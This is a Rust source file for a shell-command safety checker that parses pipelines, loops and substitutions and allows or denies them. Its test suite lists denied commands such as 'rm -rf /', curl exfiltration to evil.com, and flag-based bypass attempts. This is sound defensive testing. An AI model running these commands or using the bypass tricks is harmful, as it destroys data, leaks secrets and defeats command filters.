Skip to main content

safe_chains/
lib.rs

1#[cfg(test)]
2macro_rules! safe {
3    ($($name:ident: $cmd:expr),* $(,)?) => {
4        $(#[test] fn $name() { assert!(check($cmd), "expected safe: {}", $cmd); })*
5    };
6}
7
8#[cfg(test)]
9macro_rules! denied {
10    ($($name:ident: $cmd:expr),* $(,)?) => {
11        $(#[test] fn $name() { assert!(!check($cmd), "expected denied: {}", $cmd); })*
12    };
13}
14
15pub mod cli;
16pub mod command;
17pub mod compound;
18pub mod docs;
19mod handlers;
20pub mod parse;
21pub mod policy;
22pub mod allowlist;
23
24use compound::ShellUnit;
25use parse::{CommandLine, Segment, Token};
26
27fn filter_safe_redirects(tokens: Vec<Token>) -> Vec<Token> {
28    let mut result = Vec::new();
29    let mut iter = tokens.into_iter().peekable();
30    while let Some(token) = iter.next() {
31        if token.is_fd_redirect() || token.is_dev_null_redirect() {
32            continue;
33        }
34        if token.is_redirect_operator()
35            && iter.peek().is_some_and(|next| *next == "/dev/null")
36        {
37            iter.next();
38            continue;
39        }
40        result.push(token);
41    }
42    result
43}
44
45pub fn is_safe(segment: &Segment) -> bool {
46    if segment.has_unsafe_redirects() {
47        return false;
48    }
49
50    let Ok((subs, cleaned)) = segment.extract_substitutions() else {
51        return false;
52    };
53
54    for sub in &subs {
55        if !is_safe_command(sub) {
56            return false;
57        }
58    }
59
60    let segment = Segment::from_raw(cleaned);
61
62    if !subs.is_empty() && segment.is_bare_assignment() {
63        return true;
64    }
65
66    let stripped = segment.strip_env_prefix();
67    if stripped.is_empty() {
68        return true;
69    }
70
71    let Some(tokens) = stripped.tokenize() else {
72        return false;
73    };
74    if tokens.is_empty() {
75        return true;
76    }
77
78    let tokens = filter_safe_redirects(tokens);
79    if tokens.is_empty() {
80        return true;
81    }
82
83    handlers::dispatch(&tokens, &is_safe)
84}
85
86fn strip_negation(s: &str) -> &str {
87    let mut s = s.trim();
88    loop {
89        if let Some(rest) = s.strip_prefix("! ") {
90            s = rest.trim_start();
91        } else if s == "!" {
92            return "";
93        } else {
94            return s;
95        }
96    }
97}
98
99fn header_subs_safe(header: &str) -> bool {
100    let seg = Segment::from_raw(header.to_string());
101    let Ok((subs, _)) = seg.extract_substitutions() else {
102        return false;
103    };
104    subs.iter().all(|s| is_safe_command(s))
105}
106
107fn validate_units(units: &[ShellUnit], is_safe: &dyn Fn(&Segment) -> bool) -> bool {
108    units.iter().all(|unit| match unit {
109        ShellUnit::Simple(s) => {
110            let s = strip_negation(s);
111            if s.is_empty() {
112                return true;
113            }
114            is_safe(&Segment::from_raw(s.to_string()))
115        }
116        ShellUnit::For { header, body } => {
117            header_subs_safe(header) && validate_units(body, is_safe)
118        }
119        ShellUnit::Loop {
120            condition, body, ..
121        } => validate_units(condition, is_safe) && validate_units(body, is_safe),
122        ShellUnit::If {
123            branches,
124            else_body,
125        } => {
126            branches
127                .iter()
128                .all(|b| validate_units(&b.condition, is_safe) && validate_units(&b.body, is_safe))
129                && validate_units(else_body, is_safe)
130        }
131    })
132}
133
134pub fn is_safe_command(command: &str) -> bool {
135    let segments = CommandLine::new(command).segments();
136    let strs: Vec<&str> = segments.iter().map(|s| s.as_str()).collect();
137    match compound::parse(&strs) {
138        Some(units) => validate_units(&units, &is_safe),
139        None => false,
140    }
141}
142
143#[cfg(test)]
144mod tests {
145    use super::*;
146
147    fn check(cmd: &str) -> bool {
148        is_safe_command(cmd)
149    }
150
151    safe! {
152        grep_foo: "grep foo file.txt",
153        cat_etc_hosts: "cat /etc/hosts",
154        jq_key: "jq '.key' file.json",
155        base64_d: "base64 -d",
156        xxd_file: "xxd some/file",
157        pgrep_ruby: "pgrep -l ruby",
158        getconf_page_size: "getconf PAGE_SIZE",
159        ls_la: "ls -la",
160        wc_l: "wc -l file.txt",
161        ps_aux: "ps aux",
162        ps_ef: "ps -ef",
163        top_l: "top -l 1 -n 10",
164        uuidgen: "uuidgen",
165        mdfind_app: "mdfind 'kMDItemKind == Application'",
166        identify_png: "identify image.png",
167        identify_verbose: "identify -verbose photo.jpg",
168
169        diff_files: "diff file1.txt file2.txt",
170        comm_23: "comm -23 sorted1.txt sorted2.txt",
171        paste_files: "paste file1 file2",
172        tac_file: "tac file.txt",
173        rev_file: "rev file.txt",
174        nl_file: "nl file.txt",
175        expand_file: "expand file.txt",
176        unexpand_file: "unexpand file.txt",
177        fold_w80: "fold -w 80 file.txt",
178        fmt_w72: "fmt -w 72 file.txt",
179        column_t: "column -t file.txt",
180        printf_hello: "printf '%s\\n' hello",
181        seq_1_10: "seq 1 10",
182        expr_add: "expr 1 + 2",
183        test_f: "test -f file.txt",
184        true_cmd: "true",
185        false_cmd: "false",
186        bc_l: "bc -l",
187        factor_42: "factor 42",
188        iconv_utf8: "iconv -f UTF-8 -t ASCII file.txt",
189
190        readlink_f: "readlink -f symlink",
191        hostname: "hostname",
192        uname_a: "uname -a",
193        arch: "arch",
194        nproc: "nproc",
195        uptime: "uptime",
196        id: "id",
197        groups: "groups",
198        tty: "tty",
199        locale: "locale",
200        cal: "cal",
201        sleep_1: "sleep 1",
202        who: "who",
203        w: "w",
204        last_5: "last -5",
205        lastlog: "lastlog",
206
207        md5sum: "md5sum file.txt",
208        md5: "md5 file.txt",
209        sha256sum: "sha256sum file.txt",
210        shasum: "shasum file.txt",
211        sha1sum: "sha1sum file.txt",
212        sha512sum: "sha512sum file.txt",
213        cksum: "cksum file.txt",
214        strings_bin: "strings /usr/bin/ls",
215        hexdump_c: "hexdump -C file.bin",
216        od_x: "od -x file.bin",
217        size_aout: "size a.out",
218
219        sw_vers: "sw_vers",
220        mdls: "mdls file.txt",
221        otool_l: "otool -L /usr/bin/ls",
222        nm_aout: "nm a.out",
223        system_profiler: "system_profiler SPHardwareDataType",
224        ioreg_l: "ioreg -l -w 0",
225        vm_stat: "vm_stat",
226
227        dig: "dig example.com",
228        nslookup: "nslookup example.com",
229        host: "host example.com",
230        whois: "whois example.com",
231
232        shellcheck: "shellcheck script.sh",
233        cloc: "cloc src/",
234        tokei: "tokei",
235        safe_chains: "safe-chains \"ls -la\"",
236
237        awk_safe_print: "awk '{print $1}' file.txt",
238
239        version_go: "go --version",
240        version_perl: "perl --version",
241        version_swift: "swift --version",
242        version_git_c: "git -C /repo --version",
243        version_docker_compose: "docker compose --version",
244        version_cargo: "cargo --version",
245        version_cargo_redirect: "cargo --version 2>&1",
246
247        help_cargo: "cargo --help",
248        help_cargo_install: "cargo install --help",
249
250        dry_run_cargo_publish: "cargo publish --dry-run",
251        dry_run_cargo_publish_redirect: "cargo publish --dry-run 2>&1",
252
253        cucumber_feature: "cucumber features/login.feature",
254        cucumber_format: "cucumber --format progress",
255
256        fd_redirect_ls: "ls 2>&1",
257        fd_redirect_clippy: "cargo clippy 2>&1",
258        fd_redirect_git_log: "git log 2>&1",
259        fd_redirect_cd_clippy: "cd /tmp && cargo clippy -- -D warnings 2>&1",
260
261        dev_null_echo: "echo hello > /dev/null",
262        dev_null_stderr: "echo hello 2> /dev/null",
263        dev_null_append: "echo hello >> /dev/null",
264        dev_null_grep: "grep pattern file > /dev/null",
265        dev_null_git_log: "git log > /dev/null 2>&1",
266        dev_null_awk: "awk '{print $1}' file.txt > /dev/null",
267        dev_null_sed: "sed 's/foo/bar/' > /dev/null",
268        dev_null_sort: "sort file.txt > /dev/null",
269
270        env_prefix_single_quote: "FOO='bar baz' ls -la",
271        env_prefix_double_quote: "FOO=\"bar baz\" ls -la",
272
273        stdin_dev_null: "git log < /dev/null",
274
275        subst_echo_ls: "echo $(ls)",
276        subst_ls_pwd: "ls `pwd`",
277        subst_cat_echo: "cat $(echo /etc/shadow)",
278        subst_echo_git: "echo $(git status)",
279        subst_nested: "echo $(echo $(ls))",
280        subst_quoted: "echo \"$(ls)\"",
281
282        assign_subst_ls: "out=$(ls)",
283        assign_subst_git: "out=$(git status)",
284        assign_subst_jj_diff: "out=$(jj diff -r abc --summary)",
285        assign_subst_pipe: "result=$(jj diff -r abc --git | grep -c pattern || echo 0)",
286        assign_subst_backtick: "out=`ls`",
287        assign_subst_multiple: "a=$(ls) b=$(pwd)",
288
289        quoted_redirect: "echo 'greater > than' test",
290        quoted_subst: "echo '$(safe)' arg",
291        echo_hello: "echo hello",
292        cat_file: "cat file.txt",
293        grep_pattern: "grep pattern file",
294
295        env_rack_rspec: "RACK_ENV=test bundle exec rspec spec/foo_spec.rb",
296        env_rails_rspec: "RAILS_ENV=test bundle exec rspec",
297
298        pipe_grep_head: "grep foo file.txt | head -5",
299        pipe_cat_sort_uniq: "cat file | sort | uniq",
300        pipe_find_wc: "find . -name '*.rb' | wc -l",
301        chain_ls_echo: "ls && echo done",
302        semicolon_ls_echo: "ls; echo done",
303        pipe_git_log_head: "git log | head -5",
304        chain_git_log_status: "git log && git status",
305
306        bg_ls_echo: "ls & echo done",
307        bg_gh_wait: "gh pr view 123 --repo o/r --json title 2>&1 & gh pr view 456 --repo o/r --json title 2>&1 & wait",
308        chain_ls_echo_and: "ls && echo done",
309        here_string_grep: "grep -c , <<< 'hello,world,test'",
310
311        newline_echo_echo: "echo foo\necho bar",
312        newline_ls_cat: "ls\ncat file.txt",
313
314        pipeline_git_log_head: "git log --oneline -20 | head -5",
315        pipeline_git_show_grep: "git show HEAD:file.rb | grep pattern",
316        pipeline_gh_api: "gh api repos/o/r/contents/f --jq .content | base64 -d | head -50",
317        pipeline_timeout_rspec: "timeout 120 bundle exec rspec && git status",
318        pipeline_time_rspec: "time bundle exec rspec | tail -5",
319        pipeline_git_c_log: "git -C /some/repo log --oneline | head -3",
320        pipeline_xxd_head: "xxd file | head -20",
321        pipeline_find_wc: "find . -name '*.py' | wc -l",
322        pipeline_find_sort_head: "find . -name '*.py' | sort | head -10",
323        pipeline_find_xargs_grep: "find . -name '*.py' | xargs grep pattern",
324        pipeline_pip_grep: "pip list | grep requests",
325        pipeline_npm_grep: "npm list | grep react",
326        pipeline_ps_grep: "ps aux | grep python",
327
328        help_cargo_build: "cargo build --help",
329
330        for_echo: "for x in 1 2 3; do echo $x; done",
331        for_pipe: "for f in *.txt; do cat $f | grep pattern; done",
332        for_empty_body: "for x in 1 2 3; do; done",
333        for_multiple: "for x in 1 2; do echo $x; done; for y in a b; do echo $y; done",
334        for_nested: "for x in 1 2; do for y in a b; do echo $x $y; done; done",
335        for_then_cmd: "for x in 1 2; do echo $x; done && echo finished",
336        for_safe_subst: "for x in $(seq 1 5); do echo $x; done",
337        for_assign_subst: "for c in a b c; do out=$(jj diff -r $c --summary); if [ -n \"$out\" ]; then echo \"$c: $out\"; fi; done",
338        for_assign_pipe_subst: "for c in a b; do result=$(jj diff -r $c --git | grep -c pattern || echo 0); if [ \"$result\" -gt 0 ]; then desc=$(jj log --no-graph -r $c -T template); echo \"$c: $desc\"; fi; done",
339        while_test: "while test -f /tmp/foo; do sleep 1; done",
340        while_negation: "while ! test -f /tmp/done; do sleep 1; done",
341        while_ls: "while ! ls /tmp/foo 2>/dev/null; do sleep 10; done",
342        until_test: "until test -f /tmp/ready; do sleep 1; done",
343        if_then_fi: "if test -f foo; then echo exists; fi",
344        if_then_else_fi: "if test -f foo; then echo yes; else echo no; fi",
345        if_elif: "if test -f a; then echo a; elif test -f b; then echo b; else echo c; fi",
346        nested_if_in_for: "for x in 1 2; do if test $x = 1; then echo one; fi; done",
347        nested_for_in_if: "if true; then for x in 1 2; do echo $x; done; fi",
348        bare_negation: "! echo hello",
349        bare_negation_test: "! test -f foo",
350        keyword_as_data: "echo for; echo done; echo if; echo fi",
351    }
352
353    denied! {
354        help_npm_install_denied: "npm install --help",
355        help_brew_install_denied: "brew install --help",
356        help_cargo_login_redirect_denied: "cargo login --help 2>&1",
357
358        version_unhandled_node: "node --version",
359        version_unhandled_python: "python --version",
360        version_unhandled_python3: "python3 --version",
361        version_unhandled_ruby: "ruby --version",
362        version_unhandled_rustc: "rustc --version",
363        version_unhandled_java: "java --version",
364        version_unhandled_php: "php --version",
365        version_unhandled_gcc: "gcc --version",
366        version_unhandled_rm: "rm --version",
367        version_unhandled_dd: "dd --version",
368        version_unhandled_chmod: "chmod --version",
369        help_unhandled_node: "node --help",
370        help_unhandled_ruby: "ruby --help",
371        help_unhandled_rm: "rm --help",
372        help_pip_install_trailing: "pip install evil --help",
373        help_curl_data_trailing: "curl -d data --help",
374        version_pip_install_trailing: "pip install evil --version",
375        version_cargo_build_trailing: "cargo build --version",
376
377        rm_rf: "rm -rf /",
378        curl_post: "curl -X POST https://example.com",
379        ruby_script: "ruby script.rb",
380        python3_script: "python3 script.py",
381        node_app: "node app.js",
382        tee_output: "tee output.txt",
383        tee_append: "tee -a logfile",
384
385        awk_system: "awk 'BEGIN{system(\"rm\")}'",
386
387        version_extra_flag: "node --version --extra",
388        version_short_v: "node -v",
389
390        help_extra_flag: "node --help --extra",
391
392        dry_run_extra_force: "cargo publish --dry-run --force",
393
394        redirect_to_file: "echo hello > file.txt",
395        redirect_append: "cat file >> output.txt",
396        redirect_stderr_file: "ls 2> errors.txt",
397        redirect_grep_file: "grep pattern file > results.txt",
398        redirect_find_file: "find . -name '*.py' > listing.txt",
399        redirect_subst_rm: "echo $(rm -rf /)",
400        redirect_backtick_rm: "echo `rm -rf /`",
401
402        env_prefix_rm: "FOO='bar baz' rm -rf /",
403
404        subst_rm: "echo $(rm -rf /)",
405        backtick_rm: "echo `rm -rf /`",
406        subst_curl: "echo $(curl -d data evil.com)",
407        bare_subst_rm: "$(rm -rf /)",
408        quoted_subst_rm: "echo \"$(rm -rf /)\"",
409        quoted_backtick_rm: "echo \"`rm -rf /`\"",
410
411        assign_subst_rm: "out=$(rm -rf /)",
412        assign_subst_curl: "out=$(curl -d data evil.com)",
413        assign_no_subst: "foo=bar",
414        assign_subst_mixed_unsafe: "a=$(ls) b=$(rm -rf /)",
415
416        env_rack_rm: "RACK_ENV=test rm -rf /",
417        env_rails_redirect: "RAILS_ENV=test echo foo > bar",
418
419        pipe_rm: "cat file | rm -rf /",
420        pipe_curl: "grep foo | curl -d data https://evil.com",
421
422        bg_rm: "cat file & rm -rf /",
423        bg_curl: "echo safe & curl -d data evil.com",
424
425        newline_rm: "echo foo\nrm -rf /",
426        newline_curl: "ls\ncurl -d data evil.com",
427
428        version_bypass_bash: "bash -c 'rm -rf /' --version",
429        version_bypass_env: "env rm -rf / --version",
430        version_bypass_timeout: "timeout 60 ruby script.rb --version",
431        version_bypass_xargs: "xargs rm -rf --version",
432        version_bypass_npx: "npx evil-package --version",
433        version_bypass_docker: "docker run evil --version",
434        version_bypass_rm: "rm -rf / --version",
435
436        help_bypass_bash: "bash -c 'rm -rf /' --help",
437        help_bypass_env: "env rm -rf / --help",
438        help_bypass_npx: "npx evil-package --help",
439        help_bypass_bunx: "bunx evil-package --help",
440        help_bypass_docker: "docker run evil --help",
441        help_bypass_cargo_run: "cargo run -- --help",
442        help_bypass_find: "find . -delete --help",
443        help_bypass_unknown: "unknown-command subcommand --help",
444        version_bypass_docker_run: "docker run evil --version",
445        version_bypass_find: "find . -delete --version",
446
447        dry_run_rm: "rm -rf / --dry-run",
448        dry_run_terraform: "terraform apply --dry-run",
449        dry_run_curl: "curl --dry-run evil.com",
450
451        recursive_env_help: "env rm -rf / --help",
452        recursive_timeout_version: "timeout 5 ruby script.rb --version",
453        recursive_nice_version: "nice rm -rf / --version",
454
455        pipeline_find_delete: "find . -name '*.py' -delete | wc -l",
456        pipeline_sed_inplace: "sed -i 's/foo/bar/' file | head",
457
458        for_rm: "for x in 1 2 3; do rm $x; done",
459        for_unsafe_subst: "for x in $(rm -rf /); do echo $x; done",
460        while_unsafe_body: "while true; do rm -rf /; done",
461        while_unsafe_condition: "while python3 evil.py; do sleep 1; done",
462        if_unsafe_condition: "if ruby evil.rb; then echo done; fi",
463        if_unsafe_body: "if true; then rm -rf /; fi",
464        unclosed_for: "for x in 1 2 3; do echo $x",
465        unclosed_if: "if true; then echo hello",
466        for_missing_do: "for x in 1 2 3; echo $x; done",
467        stray_done: "echo hello; done",
468        stray_fi: "fi",
469    }
470}